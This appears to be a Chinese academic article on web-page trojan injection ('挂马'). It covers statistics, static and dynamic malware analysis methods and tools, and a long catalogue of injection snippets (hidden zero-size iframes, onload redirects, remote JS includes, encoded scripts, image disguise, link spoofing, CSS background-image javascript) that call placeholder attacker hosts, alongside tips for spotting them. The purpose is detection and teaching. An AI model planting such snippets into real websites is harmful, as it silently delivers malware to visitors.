1 引言
随着Web2.0网站的普及和互动性的增强,统计显示Web应用漏洞已成为互联网的最大安全隐患,2009年第一季度截获的挂马网站(网页数量)总数目为197676188个,平均每天截获2196402个;挂马网站攻击总次数800412435次,平均每天有889万余人次网民访问挂马网站;其中确定是大型网站被挂马的“挂马网站”总数为24202个,平均每天有268个大型网站被挂马,挂马网站已经成为威胁国内互联网安全的主要因素[1]。首先看看下面的概念。“木马网站”是一种利用程序漏洞,在后台偷偷下载木马的网页。这些网页通常放在黑客自己管理的服务器上,当用户访问时,会把许多木马下载到用户机器中并运行。“挂马网站”指的是被黑客植入恶意代码的正规网站,这些被植入的恶意代码,通常会直接指向“木马网站”的网络地址。“木马地址”指的是木马病毒真正的网络下载地址。“肉鸡”是指黑客通过木马控制个人电脑,被黑客控制的个人电脑就称为“肉鸡”。网络挂马,在网络安全界中一直是一个长热不衰的话题,黑客们想将自己的木马病毒传播给特定人群或者最广泛的特定人群时,所能够用到的方法只有网络挂马这一种,在Web2.0互动网站盛行的今天,网络挂马无时不刻不在威胁着用户的安全。网络挂马不仅是黑客抓取肉鸡的主要方式,往往也会对缺乏防范的网站和服务器构成巨大威胁,让受害服务器成为病毒的源头。如今,病毒改变了以前主要依靠可执行文件传播的方式,开始通过电子邮件、软件漏洞、内网攻击、网页挂马等多种方式传播,将病毒传播的途径变得五花八门。不过在众多的传播方式中,黑客们仍然喜欢选用网页挂马,网页挂马不仅仅能够借刀杀人,借助新闻热点,借助社交网站,借助值得信赖的大型门户网站,让网络用户在不知不觉中中招。而且随着近年来应用程序的漏洞不断被发现,网页挂马的方法也越来越多,成功几率越来越高,传播范围也越来越广。因此,网页挂马成为了黑客传播病毒的主要手段。2 恶意代码分析方法
所谓网页挂马,就是把一段恶意代码程序植入网页中,当用户打开网页或相应点击时,恶意代码会在后台自动下载到用户计算机,或者通过转移连接,连接到黑客控制的木马网站上,最终实现恶意代码植入用户计算机。恶意代码的分析方法有多种类型。通常,按照分析过程中恶意代码的执行状态(是否正在被执行)可以把恶意代码分析方法分成静态分析方法和动态分析方法两大类。再根据分析过程中是否考虑恶意代码的程序语义可以把恶意代码分析方法分成基于代码特征的分析方法、基于代码语义的分析方法、外部观察法和跟踪调试法四种[2]。2.1静态分析法
静态分析方法就是在不运行恶意代码的情况下,利用分析工具对恶意代码的静态特征和功能模块进行分析的方法。静态分析工具包括ollyDump(GigaPede2009)、W32DASM(URSoftware2009)、IDAPro(DataReseue2009)和HIEw(Suslikov2009)等。利用静态分析方法,可以分析出恶意代码的大致结构,可以确定恶意代码的特征字符串、特征代码段等,还可以得到恶意代码的功能模块和各个功能模块的流程图。静态分析方法是目前最主要的代码分析方法,被广泛应用于恶意代码分析和软件安全测评工作中。恶意代码和其它正常代码(benignsoftware)一样,本质上来说也是由计算机指令和非指令的数据构成的,根据分析过程是否考虑构成恶意代码的计算机指令的语义,可以把静态分析方法分成基于代码特征的分析方法和基于代码语义的分析方法两种类型。1)基于代码特征的分析方法2)基于代码语义的分析方法静态分析方法的优点在于:(1)静态分析方法不需要真实执行可执行文件,因此可以分析不能运行的中间形式的二进制代码(Intermediate BinaryCode);(2)由于无需实际执行代码,因此静态分析时恶意代码不会危害系统安全;(3)静态分析方法可以在可执行文件执行之前对整个代码的流程有个全局掌握;(4)不受具体进程执行流程的制约,可以对代码进行详尽的细粒度的分析。2.2 态分析方法
动态分析方法通过在可控环境中运行恶意代码,全程监控代码的所有操作,观察其状态和执行流程的变化,获得执行过程中的各种数据。使用最广泛的可控环境就是“虚拟机”(Virtualizers),此环境和用户的计算机隔离,代码在被监控环境中的操作不会对用户计算机有任何的影响。根据分析过程中是否需要考虑恶意代码的语义特征,将动态分析方法分为外部观察法和跟踪调试法两种。1)外部观察法外部观察法是利用系统监视工具观察恶意代码运行过程中系统环境的变化,通过分析这些变化判断恶意代码功能的分析方法。2)跟踪调试法跟踪调试法是通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能的技术。2.3 常用分析工具
(1)网络活动状态监视工具:TcpView(2)动态调试工具:OllyDbg(3)反汇编工具:IDAPro(4)跟踪调试工具:Softlce(5)模拟器QEMU3 源码分析
网页恶意代码其实就是一段网页代码,主要以ASP和PHP代码为主。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行某些危险的操作,获得某些敏感的技术信息或者通过渗透,提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道,比一般的入侵更具有隐蔽性。网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。网页挂马到如今已经发展出许多方法与应用手段,从IFRAME框架,到利用JS文件调用网页木马,以至于在CSS文件中插入网页木马,或者伪装成图片,甚至利用SWF、RM、AVI等文件的弹窗功能来打开网页木马,都成为黑客经常使用的手段。在这其中IFRAME网页框架挂马是黑客最多用到的经典挂马方式,也是最基础的挂马方式,可以说没有IFRAME,网页木马中有一多半就无法实现完美的隐藏,让用户在不察觉中受到攻击。3.1 通常的挂马形式
3.1.1 框架挂马对于网页源代码而言,只要不破坏原有的语言逻辑,那就想插入哪里就写哪里了,网页木马被攻击者利用iframe语句,加载到任意网页中都可执行的挂马形式,是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下:<iframe src=http://www.xxx.com/muma.html width=100height=100></iframe>这里可以提取iframe来进行分析识别。3.1.2 body挂马<bodyonload="window.location='地址';"></body>3.1.3 隐蔽挂马top.document.body.innerHTML = top.document.body. innerHTML +'rn<iframe src="http://www.xxx.com/muma.htm/"></iframe>';3.1.4 CSS中挂马body {background-image:url('javascript:document.write("<script src=http://www.xxx.com/muma.js></script>")')}3.1.5 JAJA挂马黑客直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄的打开网马窗口,隐藏的运行典型代码如下:<SCRIPTlanguage=javascript>
window.open ("http://www.xxx.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=0,height=0");
</script>这种代码往往很长,可以通过“width”和“height=”参数设为“0”进行识别。这里同样可以利用基本的iframe框架,不过在<script></script>之中可识别语言不是html,但js文件可以写成如下形式:ocument.write("<iframe <iframesrc=http://www.001sb.net/mm.htm width=0height=0></iframe>");,这时就可以执行此js中的代码了,全语句如下:< scriptlanguage=*>document.write("<iframe<iframe src=http://www.001sb.net/mm.htm width=0height=0></iframe>")</script>3.1.6 启动时加载一个网页<body onload="window.location=' http://www.xxx.com';"></
body>
3.2 隐蔽的挂马形式
3.2.1 隐形框架嵌入式网络挂马<iframe src=http://www.xxx.com/muma.html width=0height=0></iframe>在打开插入该句代码的网页后,就也就打开了http://www.xxx.com/muma.html页面,但是由于它的长和宽都为“0”,所以很难察觉,非常具有隐蔽性。3.2.2 js调用型网页挂马好多网站上,源代码都会调用js文件,其中的语句为 <script language=*src=./ad/ad.js></script>,这里可能被挂马了,其中这里可以远程调用js。js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术,如:黑客先制作一个js文件,然后利用js代码调用到挂马的网页。通常代码如下:<script language=javascript src=http://www.xxx.com/gm.js></script>http://www.xxx.com/gm.js就是一个js脚本文件,通过它调用和执行木马的服务端。这些js文件一般都可以通过工具生成,攻击者只需输入相关的选项就可以了。同时还可能有下面的变形加密形式:<SCRIPT language="JScript.Encode"src=http://www.xxx.com/muma.txt></script>muma.txt后缀为任意扩展名黑客会先用写字板将JS挂马脚本代码写入其中:document.write('<Iframe src="网页木马地址"></iframe>');然后另存为后缀为JS的脚本文件,并上传到自己指定的网址。这时需要在网页代码中寻找如下代码进行识别是否被写入恶意代码:<scriptsrc="http://www.xxx.com/木马脚本.js"></script>或者document.write("<divstyle='display:none'>")document.write("<iframe src=" http://www.xxx.com "width="0"height="0"scrolling="no" frameborder="0"></iframe>")document.write("</div>")还可以根据情况识别下面的代码是否存在恶意指向木马网站的代码:<div>或者<iframesrc="vbscript:[挂马脚本]">通常黑客在挂马时都不会采用将代码写在网页上的方法,而是会使用注入手段,让网页远程调用异地外域的JS脚本,也就是黑客自己网站上包含有恶意代码的JS挂马文件,因此可以从 这里入手进行识别。提取一切Src请求的异地外域的JS脚本,识别恶意代码。3.2.3 图片伪装挂马随 着防毒技术的发展,黑客手段也不停地更新,图片木马技术逃避杀毒监视的新技术,攻击者将类似:http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中,这些嵌入代码的图片都可以用工具生成,攻击者只需输入相关的选项就可以了,如图3。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:<html><iframe src="http://www.xxx.com/test.htm"height=0width=0></iframe><imgsrc="http://www.xxx.com/test.jpg"></center></html>当用户打开http://www.xxx.com/test.htm时,显示给用户的是http://www.xxx.com/test.jpg,而http://www.xxx.com/test.htm网页代码也 随之运行。3.2.4 网络诱惑挂马网络中最常见的欺骗手段,利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页,引诱点击,当用户打开一个看似正常的页面时,网页代码随之运行,隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息,然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了一个获取QQ币的页面,引诱输入QQ号和密码,等用户输入完提交后,就把这些信息发送到攻击者指定的地方。这种挂马可以通过识别信息传输的地址来识别是否为官方合法。这种方法很难通过源码来识别此页面是否为木马,需要用户自行判断进行配合。3.2.5 伪装挂马黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术,当用户访问木马页面时地址栏显示www.sina.com等用户信任地址,其实却打开了被挂马的页面,从而实现欺骗,示例代码如:<p><a id="qipian"href=" http://www.xxx.com"></a></p><div><a href="http:// www.sina.com"target="_blank">><caption><label for="qipian"><u>www.sina.com</u></label></caption></table></a></div>上面的代码的效果,在貌似http://www.sina.com的链接点击却打开了http://www.xxx.com。3.2.6 伪装调用<frameset rows="444,0"cols="*">
<frame src="打开网页" framborder="no" scrolling="auto"noresize marginwidth="0"margingheight="0">
<frame src="http://www.xxx.com" frameborder="no"scrolling="no" noresizemarginwidth="0"margingheight="0">
</frameset>3.2.7 诱惑欺骗这种欺骗,通常利用热点新闻,或者人们感兴趣的花边消息,源码示例如下:<a href="http://www.163.com(迷惑 连接地址,显示这个地址指向木马地址)"onMouseOver="www_163_com(); return true;"> 页面要显示的内容</a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url=" http://www.xxx.com";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>这种欺骗手段,同样可以寻找真实的地址来识别。3.2.8 高级CSS挂马“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合JavaScript的代码将网页木马悄悄的在用户的电脑中运行,源码示例如下:
Body{
background- image:url('javascript:document.write("<Iframe src=http://www.xxx.com /muma.htm width=0height=0></iframe>")')
}针对这段代码,可以根据调用的CSS文件。找到挂马网页中调用CSS的代码:
<link type="text/css" rel="stylesheet"href="http://www.xxx.com/ /css/basic.css" media="screen"/>
找到该段代码后,即可识别出真正的木马地址。3.2.9 隐蔽css挂马在3.2.8中的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过这段代码,使用了JavaScript的Open开窗,通过新开打开一个隐藏的窗口,在后台悄悄的运行新窗口并激活访问网页溢出木马页面,不会影响访问者的观看网页内容,因此更加隐蔽,示例如下:Body{
background-image: url(javascript:open(' http://www.xxx.com/muma.htm','newwindow','height=0,width=0,top=1000,left=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no'))
}